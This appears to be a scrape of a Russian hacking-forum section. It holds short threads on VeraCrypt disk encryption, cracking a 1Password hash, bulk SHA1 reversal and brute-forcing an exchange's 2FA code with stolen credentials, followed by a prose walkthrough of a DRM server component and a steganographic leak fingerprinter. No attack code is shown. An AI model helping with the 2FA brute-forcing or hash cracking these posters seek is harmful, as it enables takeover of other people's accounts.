Last Post: 2021-03-21T12:14:40+0000
Author: Neils
Replies: 2 Views: 1K

Здравствуйте.
Возможно ли зашифровать весь раздел диска с операционной системой с помощью VeraCrypt и при запуске пк грузиться с него же, вводя пароль, как это работает при использовании LUKS? Уступает ли LUKS в безопасности VeraCrypt?

Расшифровка хеша мастер-пароля 1password
ID: 676536fbb4103b69df373876
Thread ID: 49180
Created: 2021-03-11T10:11:07+0000
Last Post: 2021-03-17T11:53:10+0000
Author: rokkkkkko
Replies: 4 Views: 1K

Я полный нуб в теме шифрования и расшифровывания хешей, потому решил создать одну тему и задать сразу все вопросы здесь. Буду благодарен за помощь.

Кейс

У меня есть iPhone XS Max, на котором установлен 1password предпоследней версии, в 1пассворде введен секретный ключ (он введен, но я его не знаю), т.е. для доступа внутрь необходим только мастер-пароль который я не знаю. Есть доступ к айклауду, в котором также как и в телефоне хранится бекап зашифрованного контейнера 1password.

Вопрос

В блоге 1password написана следующая информация по поводу шифрования контейнера.

Your Master Password and the salt are passed to PBKDF2-HMAC-SHA256 with 100,000 iterations

1Password Accounts (February 2016) All accounts are created using 100,000 iterations.
1Password for Windows 6 (September 2016) Accounts are created with 100,000 iterations.

Click to expand...

Ранее, 2-3 года назад, количество итераций было 60000, до этого 40000 и так далее, я так понимаю что вполне возможно что через год, количество итераций увеличится пропорционально развитию мощностей компьютеров и телефонов которыми пользуются пользователи 1пассворд.

Переходим ко второму этапу. Есть программа Elcomsoft Distributed Password Recovery для распределенных брутфорс-атак, в т.ч. она поддерживает брутфорс 1пассворда. Также там есть дополнительная утилита - Hash Extractor, с помощью которой я могу извлечь из айклауда тот самый хеш 1пассворда для дальнейшей расшифровки.

И вот наконец мы дошли до вопроса

Если я СЕГОДНЯ извлеку этот хеш из айклауда, сохраню у себя на компьютере, телефон с 1пассвордом положу в оффлайн, чтобы он не обновлялся и не заходил в сеть. И условно, лет через 3-5, когда видео-карты станут мощнее в 10-100 раз (цифры и видеокарты для примера, мб уже будут квантовые компьютеры в широком доступе?) , расшифрую этот хеш и получу мастер-пароль, затем введу этот мастер-пароль в 1пассворд на айфоне - всё сработает?

Я просто не совсем понимаю тему хешей, потому такой глупый вопрос.

Запросы на бесплатный взлом хешей
ID: 676536fbb4103b69df373879
Thread ID: 48758
Created: 2021-02-28T16:40:05+0000
Last Post: 2021-02-28T16:40:20+0000
Author: Joynses
Replies: 1 Views: 1K

Эта тема предназначена для просьб о бесплатном взломе хешей.
/topic/116079/

В каких файлах лучше всего прятать зашиф. раздел Veracrypt?
ID: 676536fbb4103b69df37387b
Thread ID: 47865
Created: 2021-02-09T21:30:49+0000
Last Post: 2021-02-27T23:22:42+0000
Author: Konovim
Replies: 6 Views: 1K

У меня нет креативности, да и вооброжения походу. Придумал прятать в .iso файлах, но там их уже штук 30. Накиньте идей, пожалуйста!

Брутс для 2fa биржи
ID: 676536fbb4103b69df37387e
Thread ID: 48307
Created: 2021-02-18T17:45:30+0000
Last Post: 2021-02-18T20:18:15+0000
Author: 9o99o1
Replies: 11 Views: 1K

Посоветуйте плиз каким брутсом можно взломать 2fa аунтификатор биржи, на одноразовый (обновляется каждые 30секунд) шестизначный код состоящий из цифр? Все остальное есть, логин, пароль, почта и т.д.

Расшифровка sha1
ID: 676536fbb4103b69df373880
Thread ID: 47441
Created: 2021-01-31T12:40:00+0000
Last Post: 2021-02-03T05:57:26+0000
Author: Mai1z
Replies: 3 Views: 1K

Доброго времени суток,уважаемые форумчане.Есть файл,в котором все строки закриптованы sha1,файл этот на 27кк строк.Вопрос такой как разом расшифровать?

Система цифровой дистрибьюции. Часть 4. Серверная часть
ID: 676536fbb4103b69df373882
Thread ID: 47076
Created: 2021-01-21T19:04:32+0000
Last Post: 2021-01-21T19:04:32+0000
Author: Profense
Prefix: Статья
Replies: 0 Views: 1K

**СИСТЕМА ЦИФРОВОЙ ДИСТРИБЬЮЦИИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ
ЧАСТЬ 4. СЕРВЕРНАЯ ЧАСТЬ

ВВЕДЕНИЕ**
Исходный код прототипа системы цифровой дистрибьюции “digidist” доступен на условиях лицензии MIT и размещен в публичном репозитории на Github по адресу https://github.com/fxsecltd/pfsdk-digidist.
Исходный код, рассматриваемый в данной статье, доступен по адресу <https://github.com/fxsecltd/pfsdk- digidist/blob/main/personifier/personifier.c> и содержит реализацию динамически загружаемой библиотеки personifier.dll. Помимо реализации динамически загружаемой библиотеки personifier данная статья содержит описание модуля для снятия цифровых “отпечатков пальцев” с исполняемого модуля, полученного в результате снятия дампа с защищенного процесса. в целях идентификации источника утечки
В программной реализации серверной части системы цифровой дистрибуции программного обеспечения мы используем сторонние компоненты, доступные под лицензией, позволяющей их использование в любых производных проектах без обязанности публикации исходных кодов.
Первым внешним компонентом, используемым в программной реализации аппликатора будет библиотека RSAREF (RSA Laboratories, a division of RSA Data Security) - которую мы добавим в файлы проекта для сборки вместе с исходным кодом аппликатора.

НАЗНАЧЕНИЕ КОМПОНЕНТА БИБЛИОТЕКИ СЕРВЕРНОЙ ЧАСТИ

Компонент серверной части системы цифровой дистрибьюции программного обеспечения предназначен для бесшовной интеграции процедуры обеспечения дистрибьюции с практически любой серверной архитектурой, обеспечивающей балансировку нагрузки - которая, помимо сервера может быть обеспечена и на уровне балансировки загрузки к базе данных и балансировки запросов клиентских частей на уровне взаимодействия сервера и клиента. Учитывая отсутствие каких- либо архитектурно зависимых особенностей, архитектура исполняемого файла в данном случае значения не имеет.
В процессе работы серверной части системы цифровой дистрибьюции динамически загружаемая библиотека клиентской части отправляет запрос, содержащий сеансовые ключи и характерные для процесса и запроса параметры, обрабатываемые серверной частью с целью обеспечения возможности корректной работы снабженного системой цифровой дистрибьюции исполняемого модуля программного обеспечения, исключающем проведение атак типа replay - при которых атакующая сторона пытается подсунуть ранее записанные значения, передаваемые в сторону серверной части от клиентской части, с последующим подсовыванием клиенту ответов сервера..
Исходный код динамически загружаемого модуля оформлен таким образом, чтобы его сборка могла быть осуществлена в любой системе - как в Linux, так и в Windows/Mac OS/прочих операционных системах, выполняемых на сервере. Внешние системные функции заменены на библиотечные, предоставляемые любым компилятором C/C++ без архитектурно зависимых особенностей.
Данные для формирования ответа серверной частью на клиентский запрос передаются в функцию process(), которая расшифровывает зашифрованные публичным ключом по алгоритму RSA-1024 данные, содержащие сеансовый ключ для направления ответов клиентской части, а также уникальные для запроса данные - противодействующие атакам типа replay - в частности, для этого серверной части передаются данные идентификатора процесса и идентификационной строки процессора, используемые серверной частью для модификации передаваемого в ответном пакете ключа шифрования имиджа (для расшифровки имиджа только тем процессом и потоком, который отправил запрос и никакими другими в противном случае). Таким образом осуществляется биндинг. При попытке подсунуть ранее записанный ответ сервера произойдет неверная расшифровка ответа сервера и процесс будет завершен в силу возникших исключений.

НАЗНАЧЕНИЕ КОМПОНЕНТА ФИНГЕРПРИНТЕР

Компонент прототипа фингерпринтера серверной части предназначен исключительно для демонстрации возможностей системы цифровой дистрибьюции, своего рода Proof Of Concept (доказательство концепции) в части использования изымаемых из объектного кода контролируемого программного обеспечения данных в качестве носителя информации - своего рода стеганография, носитель которых не поддается статическому анализу (учитывая вероятность появления различных опкодов в процессе компиляции, невозможно предсказать появление используемых в качестве носителя информации об идентификаторе пользователя состояний опкодов).
В процессе запуска фингерпринтер принимает на вход путь к исполняемому файлу, предположительно содержащему снятый с контролируемого программного обеспечения с наложенной системой цифровой дистрибьюции дамп памяти, а также путь к файлу с базой данных, содержащей эталонную информацию о фактическом размещении интересующих нас опкодов и их оригинальном состоянии, путем сравнения с которыми и определяется сохраненная неявно информация, сохраняемая на своего рода носителе информации в виде опкодов, имеющих два состояния представления, путем манипуляции которыми и обеспечивается сохранение информации.
По получении параметров фингерпринтер открывает переданный в параметрах файл и производит дизассемблирование опкодов в секциях кода (данный анализатор рассматривает только те опкоды, которые указаны в записи оригинальных опкодов оригинального файла, поэтому дополнительные проверки на наличие switch case конструкций не проводятся в силу отсутствия необходимости).
Рассматриваемый прототип не содержит возможных для процедуры формирования кодов коррекции ошибок процедур, позволяющий дуплицировать 1024 бита идентификатора пользователя несколько раз подряд, позволяя обеспечить доступность данных в случае его частичной чистки от содержащейся информации.
Опкоды, применение которых позволяет иметь своего рода носитель информации, идеальный для такого типа стеганографии - это опкоды “mov regA,regB” и их полноценная замена - “push regB pop regA” - которые занимают одно и то же количество памяти и особенно не влияют на производительность, предсказать достоверно появление которых в скомпилированном объектном файле невозможно, что делает результат процедуры восстановления исходных данных размещения таких опкодов в файле трудно предсказуемым.

**СТРУКТУРА ФУНКЦИЙ БИБЛИОТЕКИ СЕРВЕРНОЙ ЧАСТИ

Функция DllMain(), точка входа в динамически загружаемую библиотеку**

Данная функция принимает на вход следующие параметры:

  1. Тип переменной - HMODULE, название переменной - hModule, содержит базовый адрес, по которому библиотека загружена в процесс системным загрузчиком
  2. Тип переменной - DWORD, название переменной - ul_reason_for_call, содержит признак вызова данной функции системным загрузчиком (различен при различных поводах для такого вызова - при загрузке библиотеки в процесс, при запуске нового потока процесса, при завершении потока процесса, при выгрузке библиотеки из процесса в связи с его завершением.
  3. Тип переменной - LPVOID, название переменной - lpReserved, зарезервировано для будущего использования системным загрузчиком.

Данная функция возвращает истину в любом случае и используется только для совместимости с требованиями к динамически загружаемым библиотекам в операционной системе.

Функция process(), обработка поступившего запроса и формирование ответа

Данная функция принимает на входе следующие параметры:

  1. Тип переменной - unsigned char* , наименование переменной - request, содержит буфер, содержащий данные клиентского запроса
  2. Тип переменной - size_t, наименование переменной - request_size, содержит длину буфера, содержащего клиентский запрос
  3. Тип переменной - unsigned char* , наименование переменной - user, передает опции обработки клиентского запроса
  4. Тип переменной - size_t, наименование переменной - user_size, содержит длину опций обработки клиентского запроса,
  5. Тип переменной - unsigned char* , наименование переменной - dbprotect, содержит сохраненные в результате наложения защиты на исполняемый модуль данные, хранимые в базе данных
  6. Тип переменной - size_t, наименование переменной - dbprotect_size, содержит длину буфера, содержащего исходные данные, полученные в результате наложения системы цифровой дистрибьюции на исполняемый модуль
  7. Тип переменной - unsigned char**, наименование переменной - result, содержит указатель на буфер с сформированным ответом для клиентской части
  8. Тип переменной - size_t *, наименование переменной - result_size, содержит указатель на переменную, в которой возвращается длина сформированного для отправки клиентской части буфера, память выделена через malloc() - которая является кроссплатформенной и не зависит от типа операционной системы, освобождается данная память вызовом портабельной функции free()

Строки 17-23 содержат декларирование и инициализацию локальных переменных, используемых в контексте функции в пределах их видимости.
Строка 24 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданных параметров request и request_size нулю.
Строка 26 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданных параметров dbprotect и dbprotect_size нулю.
Строка 28 содержит декларацию и инициализацию локальной переменной типа R_RSA_PRIVATE_KEY * и наименованием PRIVATE_KEY, служащей для расшифровки клиентского запроса, зашифрованного посредством алгоритма асимметричного шифрования RSA-1024 публичным ключом, сохраняемым аппликатором в динамически загружаемой библиотеке клиентской части системы цифровой дистрибьюции. Учитывая, что тип данной переменной является типом указателем, его значение рассчитывается путем вычисления смещения от начала буфера, содержащего данные, полученные аппликатором в процессе имплементации системы цифровой дистрибьюции.
Строка 29 содержит декларацию и инициализацию локальной переменной типа R_RSA_PUBLIC_KEY * с наименованием PUBLIC_KEY, служащей для формирования зашифрованного значения пользователя, для запуска у которого формируется данный ответ сервера, во избежание доступа к персональным данным которого идентификатор зашифровывается по алгоритму RSA-1024 и накладывается путем множественных повторений на носитель информации в виде извлекаемых из объектного кода ассемблерных инструкций, которые представимы в виде одного из двух состояний (состояние такого опкода в результирующем имидже исполняемого модуля с наложенной системой цифровой дистрибьюции равно значению исходного состояния опкода в исходном файле, если соответствующий проверяемой позиции такого опкода бит идентификатора пользователя равен единице и наоборот, не соответствует исходному состоянию, если соответствующий бит идентификатора пользователя равен нулю). За счет этого удается использовать данную информацию как носитель информации для целей стеганографии. Учитывая, что тип данной переменной является типом указателем, его значение рассчитывается путем вычисления смещения от начала буфера, содержащего данные, полученные аппликатором в процессе имплементации системы цифровой дистрибьюции.
Строка 30 содержит декларацию и инициализацию локальной переменной типа char * с наименованием seciv, служащей для передачи клиенту ключей шифрования имиджа, в отношении которых осуществлен биндинг (привязка) к параметрам процесса, осуществляющего выполнение клиентской части. Содержимое данной переменной - значение вектора инициализации для алгоритма DES (которым шифруется секции исполняемого имиджа). Учитывая, что тип данной переменной является типом указателем, его значение рассчитывается путем вычисления смещения от начала буфера, содержащего данные, полученные аппликатором в процессе имплементации системы цифровой дистрибьюции.
Строка 31 содержит декларацию и инициализацию локальной переменной типа char * с наименованием seckey, служащей для передачи клиенту ключей шифрования имиджа, в отношении которых осуществлен биндинг (привязка) к параметрам процесса, осуществляющего выполнение клиентской части. Содержимое данной переменной - значение ключа для алгоритма DES (которым шифруется секции исполняемого имиджа). Учитывая, что тип данной переменной является типом указателем, его значение рассчитывается путем вычисления смещения от начала буфера, содержащего данные, полученные аппликатором в процессе имплементации системы цифровой дистрибьюции.
Строки 32-33 инициализируют и декларируют локальные переменные, используемые в контексте блока условного выполнения в пределах их видимости.
Строка 34 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданных параметров user и user_size нулю. Указанные проверяемые значения служат для передачи в процедуру формирования ответа сервера на запрос клиентской части идентификатора пользователя - размером 16, 32 или 64 бита.
Строка 36 содержит вызов библиотечной функции RSAREF, осуществляющей инициализацию структур для конгруэнтного генератора случайных чисел.
Строка 37 выполняет процедуру инициализации симметричного алгоритма шифрования связи с клиентской частью, применяемый алгоритм - 3DES в режиме CBC.
Строка 38 содержит процедуру присваивания значения длины ключей (учитывая, что алгоритм DES имеет длину ключа 8 байт, для алгоритма 3DES длина ключа будет равняться трехкратной по сравнению с длиной ключа алгоритма DES.
Строка 39 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной decrypted, предназначенной для хранения базового адреса буфера, в который будет выполнена расшифровка клиентского запроса, полученного сервером.
Строка 40 содержит процедуру присваивания локальной переменной decrlen значения, равного размеру выделенного в строке 39 буфера.
Строка 41 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданного параметра decrypted нулю.
Строка 43 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной decryptedrq, предназначенной для хранения базового адреса буфера, в который будет выполнена расшифровка клиентского запроса, полученного сервером без учета сеансовых ключей, присланных клиентом.
Строка 44 содержит вызов библиотечной портабельной функции установки байт области выделенной памяти с базовым адресом и длиной, передаваемыми в качестве параметров, дополнительно передаваемым параметром значением.
Строка 45 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданного параметра decryptedrq нулю в целях проверки выполнения функции выделения памяти на предмет неудачного завершения ее вызова.
Строка 47 содержит вызов библиотечной функции RSAREF, осуществляющей расшифровку выделенной области памяти приватным ключом шифрования пары RSA-1024
Строка 48 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие переданного параметра err нулю в целях проверки выполнения функции расшифровки буфера в выделенной памяти приватным ключом по алгоритму асимметричного шифрования RSA-1024.
Строка 49 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является нахождение значения переменной user_size в границах 4-16 байт включительно, если данное условие не выполняется, выполняется следующий блок условного выполнения, условием для выполнения которого является значение размера переменной user_size равное двум.
Строка 52 содержит вызов библиотечной функции time(), сохраняющее в структуре, переданной в качестве параметра буфера значение локального времени.
Строка 53 содержит вызов библиотечной функции, копирующей содержимое присланных клиентом сеансовых ключей в локальные переменные. В данной строке копируется содержимое ключа.
Строка 54 содержит вызов библиотечной функции, копирующей содержимое присланных клиентом сеансовых ключей в локальные переменные. В данной строке копируется содержимое вектора инициализации.
Строка 55 содержит вызов библиотечной функции, копирующей содержимое присланных клиентом данных в локальные переменные. В данной строке копируется содержимое запроса клиента (зависимые от процесса и процессора параметры).
Строка 56 содержит процедуру вычисления размера ответа сервера на запрос клиента. Значение учитывается как подлежащее шифрованию алгоритмом 3DES, соответственно, имеющее длину, кратную 24 байтам.
Строка 57 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной userid, предназначенной для хранения базового адреса буфера, в который будет выполнена конкатенация данных, являющихся подписью данного факта санкционирования запуска с учетом сохранения данных пользователя и штампа времени обращения, шифруемого открытым ключом и сохраняемого на стеганографическом носителе информации, которым являются опкоды, изъятые из объектного кода модулей.
Строка 58 содержит вызов библиотечной портабельной функции установки байт области выделенной памяти с базовым адресом и длиной, передаваемыми в качестве параметров, дополнительно передаваемым параметром значением.
Строка 59 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной cuserid, предназначенной для хранения базового адреса буфера, в который будет выполнена конкатенация данных, являющихся подписью данного факта санкционирования запуска с учетом сохранения данных пользователя и штампа времени обращения, шифруемого открытым ключом и сохраняемого на стеганографическом носителе информации, которым являются опкоды, изъятые из объектного кода модулей.
Строка 60 содержит вызов библиотечной портабельной функции установки байт области выделенной памяти с базовым адресом и длиной, передаваемыми в качестве параметров, дополнительно передаваемым параметром значением.
Строка 61 содержит вызов библиотечной функции копирования данных между адресом источником и адресом назначения с указанным параметром адресами источника, назначения и длины подлежащих копированию данных. В данной строке в буфер, адрес которого сохранен в локальной переменной userid копируется содержимое параметра user, переданного функции.
Строка 62 содержит вызов библиотечной функции копирования данных между адресом источником и адресом назначения с указанным параметром адресами источника, назначения и длины подлежащих копированию данных. В данной строке в буфер, адрес которого сохранен в локальной переменной userid, с учетом ранее скопированного в него массива данных из параметра user, копируется содержимое локальной переменной, хранящей содержимое структуры TIME для отграничений запросов, выполненных одним и тем же пользователем, но в разное время.
.Строка 63 содержит процедуру вычисления размера зашифрованного буфера, содержащего значение пользовательских данных для формирования цифрового “отпечатка пальцев” пользователя.
Строка 64 содержит вызов библиотечной функции RSAREF, осуществляющей шифрование переданного буфера с данными пользователя и штампом времени публичным ключом с целью формирования данных цифрового “отпечатка пальцев”.
Строка 65 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является отличие значения переменной err от нуля.
Строка 67 содержит реализацию цикла, устанавливающего флаг соответствия значения соответствующего бита зашифрованного значения идентификатора пользователя (выступающего в качестве цифрового “отпечатка пальцев”) значению единицы. В случае равенства соответствующего бита единице, на записи изымаемого из объектного кода опкода выставляется флаг со значением 0x8000000000000000
Строка 68 реализует цикл простой замены на ключе шифрования секций в исполняемом файле, в качестве ключа используются присланные клиентом значения идентификатора процесса и идентификатора процессора, на которой выполняется данная задача.
Строка 69 реализует цикл простой замены на векторе инициализации шифрования секций в исполняемом файле, в качестве ключа используются присланные клиентом значения идентификатора процесса и идентификатора процессора, на которой выполняется данная задача.
Строка 70 реализует второй раунд цикла простой замены на ключе шифрования секций в исполняемом файле, в качестве ключа используются присланные клиентом значения идентификатора процесса и идентификатора процессора, на которой выполняется данная задача.
Строка 71 реализует цикл простой замены на векторе инициализации шифрования секций в исполняемом файле, в качестве ключа используются присланные клиентом значения идентификатора процесса и идентификатора процессора, на которой выполняется данная задача.
Строка 72 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной result, предназначенной для возвращения буфера, содержащего данные ответа сервера клиентской части на ее запрос.
Строка 73 содержит процедуру присваивания длины ответа содержимому переменной result_size
Строка 74 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 75 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 76 содержит процедуру дополнительного условного выбора, в результате успешного выполнения которой выполняется непосредственно за ней следующим блок условного выполнения.
Строка 78 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 79 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 82 содержит процедуру дополнительного условного выбора, в результате успешного выполнения которой выполняется непосредственно за ней следующим блок условного выполнения.
Строка 84 содержит вызов библиотечной функции копирования данных между адресом источником и адресом назначения с указанным параметром адресами источника, назначения и длины подлежащих копированию данных. В данной строке в буфер, адрес которого сохранен в локальной переменной key, копируется содержимое ключа, используемого в качестве ключа в процессе сеансового шифрования сообщений между сервером и клиентом.
Строка 85 содержит вызов библиотечной функции копирования данных между адресом источником и адресом назначения с указанным параметром адресами источника, назначения и длины подлежащих копированию данных. В данной строке в буфер, адрес которого сохранен в локальной переменной iv, копируется содержимое вектора инициализации, используемого в качестве вектора инициализации в процессе сеансового шифрования сообщений между сервером и клиентом.
Строка 86 содержит вызов библиотечной функции копирования данных между адресом источником и адресом назначения с указанным параметром адресами источника, назначения и длины подлежащих копированию данных. В данной строке в буфер, адрес которого сохранен в локальной переменной decryptedrq, копируется содержимое полученного запроса за исключением ключей сеансового шифрования, используемого в качестве ключа и вектора инициализации в процессе сеансового шифрования сообщений между сервером и клиентом.
Строка 87 содержит процедуру присваивания значения локальной переменной decryptrq локальной переменной dbprotect.
Строка 88 выводит статус процесса выполнения на консоль.
Строка 89 содержит процедуру вычисления значения длины ответа.
Строка 90 содержит вызов библиотечной портабельной функции выделения памяти malloc() - делающей возможным применение данного кода на любой архитектуре сервера. Выделенный буфер памяти сохраняется в локальной переменной result, предназначенной для возвращения буфера, содержащего данные ответа сервера клиентской части на ее запрос.
Строка 91 содержит сохранение значения переменной replysize в переменной result_size
Строка 92 содержит реализацию проверки, по результату успешного выполнения которой выполняется следующий непосредственно за проверкой блок условного выполнения, условием выполнения которого является неравенство значения переменной, адрес которой сохранен в переменной result нулю.
Строка 95 содержит вызов библиотечной функции RSAREF, инициализирующий контекст для осуществления симметричного шифрования по алгоритму 3DES
Строка 96 содержит вызов библиотечной функции RSAREF, осуществляющей симметричное шифрование обмена данными с клиентской частью системы цифровой дистрибьюции.
Строка 97 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 98 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 99 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_NO_ERROR
Строка 100 содержит альтернативный исполняемый блок, выполняемый в случае равенства переменной, адрес которой сохранен в переменной result нулю.
Строка 102 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 103 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 104 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_OUT_OF_MEMREPLY
Строка 106 содержит альтернативный исполняемый блок, выполняемый в случае равенства переменной, адрес которой сохранен в переменной result нулю.
Строка 108 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 109 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 110 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_OUT_OF_MEMREPLY
Строка 112 содержит альтернативный исполняемый блок, выполняемый в случае равенства переменной, адрес которой сохранен в переменной result нулю.
Строка 114 содержит вызов библиотечной функции, ответственной за освобождение выделенной памяти путем передачи ее базового адреса функции.
Строка 115 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_OUT_OF_MEM_RSA_DECRYPT.
Строка 117 содержит альтернативный исполняемый блок, выполняемый в случае равенства переменной, адрес которой сохранен в переменной result нулю.
Строка 119 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_OUT_OF_MEM_RSA_REQUEST.
Строка 121 содержит альтернативный исполняемый блок, выполняемый в случае равенства переменной, адрес которой сохранен в переменной result нулю.
Строка 123 содержит возврат из функции с параметром ошибки, установленном в значение ERROR_USER_DATA.
Строка 126 содержит процедуру возвращения статуса выполнения значением ERROR_REQUEST_DATA

Функция InitRandomStruct()

Данная функция предназначена для инициализации случайных значений библиотечными функциями RSAREF
Строки 131-133 инициализируют и декларируют локальные переменные, используемые в данной функции
Строка 134 использует вызов портабельной функции time() - возвращающей значение локального времени, которое может быть использовано в качестве seed значения для работы конгруэнтного генератора случайных чисел на любых системах, поддерживающих компиляцию C файлов.
Строка 135 присваивает значение локального штампа времени локальной переменной.
Строка 136 вызывает библиотечную функцию библиотеки RSAREF, инициализирующую структуру RANDOM_STRUCT, передаваемую в качестве параметра.
Строки 141-147 содержит цикл, выполняемый до достижения необходимого количества случайных данных, после чего цикл прерывается и функция возвращает необходимым образом инициализированное значение структуры, переданной в качестве параметра.

ОПИСАНИЕ ПРОТОТИПА ФИНГЕРПРИНТЕРА

Исходный код, рассматриваемый в данной статье, доступен по адресу <https://github.com/fxsecltd/pfsdk- digidist/blob/main/fingerprinter/fingerprinter.c> и содержит реализацию прототипа исполняемого модуля, снимающего цифровые “отпечатки пальцев” с предположительно снятого в виде дампа контролируемого программного обеспечения.
В программной реализации прототипа фингерпринтера системы цифровой дистрибуции программного обеспечения мы используем сторонние компоненты, доступных под лицензией, позволяющей их использование в любых производных проектах без обязанности публикации исходных кодов.
Первым внешним компонентом, используемым в программной реализации аппликатора будет библиотека RSAREF (RSA Laboratories, a division of RSA Data Security) - которую мы добавим в файлы проекта для сборки вместе с исходным кодом аппликатора.
Вторым внешним компонентом, используемым в программной реализации аппликатора будет библиотека UDIS86 (Vivek Mohan <vivek@sig9.com>), аналогичным образом добавляемая для сборки вместе с исходным кодом аппликатора.
.

**СТРУКТУРА ФУНКЦИЙ ФИНГЕРПРИНТЕРА

Функция main(), точка входа в приложение**

Параметры точки входа приложения используют unicode нотацию - чтобы иметь возможность выполняться на операционных системах с поддержкой unicode в путях (скажем, если вы сохраняете проект по пути, содержащему кириллические символы, можно столкнуться с проблемой корректной обработки таких символов при передаче параметров).
Передаваемые точке входа параметры, описываются в порядке следования:

  1. Путь к файлу, цифровые “отпечатки пальцев” которого необходимо получить.
  2. Путь к файлу, содержащему исходные данные файла, полученные при наложении системы дистрибуции
  3. Имя именованного пайпа для связи клиентской части с серверной частью, без указания префикса \\\\.\\\\pipe\\ (служит в качестве идентификатора в базе данных, хранящей данные файлов с наложенной системой дистрибьюции.

Строки 19-26 содержат декларирование и инициализацию локальных переменных, используемых в контексте функции, в пределах их видимости.
Строка 27 содержит вызов библиотечной функции sqlite3, результат которого проверяется на соответствие значению SQLITE_OK - если возвращено не соответствующее проверяемому значение, выполняется блок условного выполнения, следующий непосредственно за процедурой проверки.
Строка 29 выводит в консоль сообщение об ошибке открытия файла базы данных формата sqlite3.
Строка 30 прекращает выполнение фингерпринтера и возвращает значение 2
Строка 32 содержит вызов библиотечной функции форматированного вывода строки с фиксированным размером буфера. В ходе вызова данной функции формируется содержимое SQL запроса к базе данных, в результате которого производится выборка записи, содержащей указанное наименование именованного пайпа в качестве идентификатора.
Строка 33 содержит вызов библиотечной функции sqlite3, подготавливающей запрос к базе данных к выполнению, результат выполнения которой определяет выполнение блока условного выполнения, следующего непосредственно после проверки. Данная проверка сравнивает возвращенное функцией значение со значением SQLITE_OK, несоответствие возвращаемого значения инициирует выполнение блока условного выполнения.
Строка 35 содержит вызов функции вывода строки в консоль, содержащей сообщение об ошибке доступа к базе данных.
Строка 36 завершает выполнение фингерпринтера в аварийном состоянии и возвращает код ошибки 3
Строки 39-46 содержат блок условной компиляции, позволяющей задать параметры запуска фингерпринтера с указанными параметрами, позволяющими произвести отладку и пошаговое исполнение в среде разработки Visual Studio.
Строка 47 содержит реализацию проверки количества переданных функции аргументов и выполнение непосредственно следующего за процедурой проверки блока условного выполнения. Условием проверки является значение переменной argc, если значение переменной меньше 3, выводится сообщение о необходимом количестве аргументов и их содержимом (строки 49-55).
Строка 57 содержит вызов внешней системной функции, проверяющей наличие файла по переданному в качестве параметра пути, в результате вызова которой выполняется проверка возвращаемого значения, говорящего о наличии файла по указанному в качестве аргумента пути - отсутствие которого определяет выполнение блока условного выполнения, расположенного непосредственно за процедурой проверки.
Строка 59 содержи вызов библиотечной функции заполнения буфера значениями, базовый адрес буфера, длина буфера и значение для заполнения передаются в качестве параметра.
Строка 60 содержит вызов внешней системной функции, преобразующей текст из кодировки OEMCP (используемой консольными приложениями) в кодировку ANSI для вывода корректного пути в консоль.
Строка 61 содержит процедуру вывода текстовой информации в консоль, содержащей сообщение о том, что файл, путь к которому передан в качестве аргумента, не найден.
Строка 62 завершает выполнение фингерпринтера и выводит код 0
Строка 64 выводит в консоль баннер приложения, сообщающий название продукта и его версию.
Строка 65 содержит вызов внешней системной функции, открывающей для чтения переданный на анализ файл.
Строка 66 содержит процедуру проверки возвращаемого в строке 65 значения, если возвращенное значение не равно значению INVALID_HANDLE_VALUE, выполняется блок условного выполнения, следующий непосредственно за процедурой проверки. Данная проверка проверяет, валиден ли хендл на файл, возвращенный при вызове функции на строке 65.
Строка 68 содержит вызов внешней системной функции, выполняющий создание объекта представления файла, открытого в ходе вызова функции на строке 65
